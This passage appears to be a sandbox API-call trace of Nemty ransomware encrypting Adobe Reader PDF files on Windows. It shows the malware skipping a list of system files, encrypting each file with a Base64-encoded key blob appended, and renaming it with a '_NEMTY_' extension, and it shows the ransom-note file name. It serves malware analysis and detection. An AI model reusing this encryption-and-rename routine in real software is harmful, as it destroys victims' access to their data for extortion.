lpUsedDefaultChar=0x0) returned 11 [0172.021] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeID.pdf", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeID.pdf", lpUsedDefaultChar=0x0) returned 11 [0172.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.021] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0172.021] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.021] Sleep (dwMilliseconds=0x5) [0172.034] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a300030, dwHighDateTime=0x1d561e8)) [0172.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a300030, dwHighDateTime=0x1d561e8)) [0172.035] GetLastError () returned 0xb7 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.035] GetLastError () returned 0xb7 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.035] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.035] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.035] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.035] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="HptSTcB56ah2Q1BUvprC1qR0IYbFco4AfVmC5b9AIEvJ+w4KHLe5kgW7q4Zpyd74\r\nr14eJFjfz3+phnVfd0Svm0tebf4FrgRdNbwIQHatjOy4Ovt5LFFLiGZf2DbgyApn\r\nEEzNLkgjTH5jJ1c48JMgd9UvPEd82U6UTcrAWvP1FfyrTCDzArUFGem9mW9xKaD7\r\nOvod5ROmTT6WDQUuDxbJdGgeqzLx5qn8nWWP1rHQgMvGBOlmrBM1peHG3CtOXkK7\r\n56GE3mfrAQwtect6DJdyQTBqv4omKIf57TCU4cnNl6gaFOVe5+UdUzgEU7CYgh4B\r\n1V/zeZXvTHGtv2vNQkDprA==\r\n", pcchString=0x653e5dc) returned 1 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.035] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.035] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.035] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.036] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=22673) returned 1 [0172.036] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5890) returned 0x6352c48 [0172.036] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.036] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5890, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5890, lpOverlapped=0x0) returned 1 [0172.039] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.039] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5890, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5890, lpOverlapped=0x0) returned 1 [0172.039] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.039] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=22673, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5891 [0172.039] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.039] CloseHandle (hObject=0x3b0) returned 1 [0172.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.039] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.039] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.040] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.040] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.040] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\AdobeID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\adobeid.pdf._nemty_kgobjgd_")) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0172.042] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80a2abc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5be8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2=".") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="..") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="...") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="windows") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="$RECYCLE.BIN") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="rsa") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="NTDETECT.COM") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntldr") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="MSDOS.SYS") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="IO.SYS") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="boot.ini") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="AUTOEXEC.BAT") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="ntuser.dat") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="desktop.ini") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="CONFIG.SYS") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="RECYCLER") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="BOOTSECT.BAK") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="bootmgr") returned 1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="programdata") returned -1 [0172.042] lstrcmpiW (lpString1="DefaultID.pdf", lpString2="appdata") returned 1 [0172.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e890, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.042] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.042] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e8e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.042] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0172.043] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DefaultID.pdf", cchWideChar=13, lpMultiByteStr=0x653e918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DefaultID.pdf", lpUsedDefaultChar=0x0) returned 13 [0172.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340198 [0172.043] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.043] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0172.043] Sleep (dwMilliseconds=0x5) [0172.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a326190, dwHighDateTime=0x1d561e8)) [0172.050] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1a326190, dwHighDateTime=0x1d561e8)) [0172.050] GetLastError () returned 0x0 [0172.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.050] GetLastError () returned 0x0 [0172.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.050] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0172.050] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0172.050] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0172.051] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0172.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0172.051] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e5dc | out: pszString="JgpVvf9uK5fkeKVfcitgQjmJYuqZRpbz13ipow0Oh3GjiVNqHNRG3mubbBlTZC5X\r\nQAthY5l+guIWdi4/Q1t0YY9W1FaOz5RsHzPwAGa4zYwuJM98FrMgF/stBEYFklXG\r\nQ16Fd0Ng/f5ZOkYxPuVhNh+x+EvUSQsDcZUXkB/nocvgRf3ubzmcwsF6HdDb1go6\r\n5NKMPKfIPMSM7343GuJ4JySlf29qnMekxVarkIHg8hebCB9p0Uda2Cla5Iz1rTEF\r\nYweMDjy34AaA5vsKN+lM6ZWlSiCHjxmdwWqcgbbDgXqCDnXLqwcl+iLfXVD4DMyY\r\nwt/EV9MnW63NMreo9mE1tA==\r\n", pcchString=0x653e5dc) returned 1 [0172.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0172.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.051] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0172.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0172.051] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0172.051] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b0 [0172.052] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=23528) returned 1 [0172.052] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5be0) returned 0x6352c48 [0172.052] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.052] ReadFile (in: hFile=0x3b0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5be0, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5be0, lpOverlapped=0x0) returned 1 [0172.055] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.055] WriteFile (in: hFile=0x3b0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5be0, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5be0, lpOverlapped=0x0) returned 1 [0172.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0172.056] SetFilePointer (in: hFile=0x3b0, lDistanceToMove=23528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5be8 [0172.056] WriteFile (in: hFile=0x3b0, lpBuffer=0x6340240*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340240*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0172.056] CloseHandle (hObject=0x3b0) returned 1 [0172.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0172.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0172.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0172.056] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0172.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0172.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0172.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340458 [0172.056] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0172.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0172.056] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0172.056] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\RUM\\DefaultID.pdf._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\rum\\defaultid.pdf._nemty_kgobjgd_")) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0172.057] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a2b3d70, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1a2b3d70, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1a2d9ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0172.057] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0172.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0172.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0172.057] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0172.057] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0172.057] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) 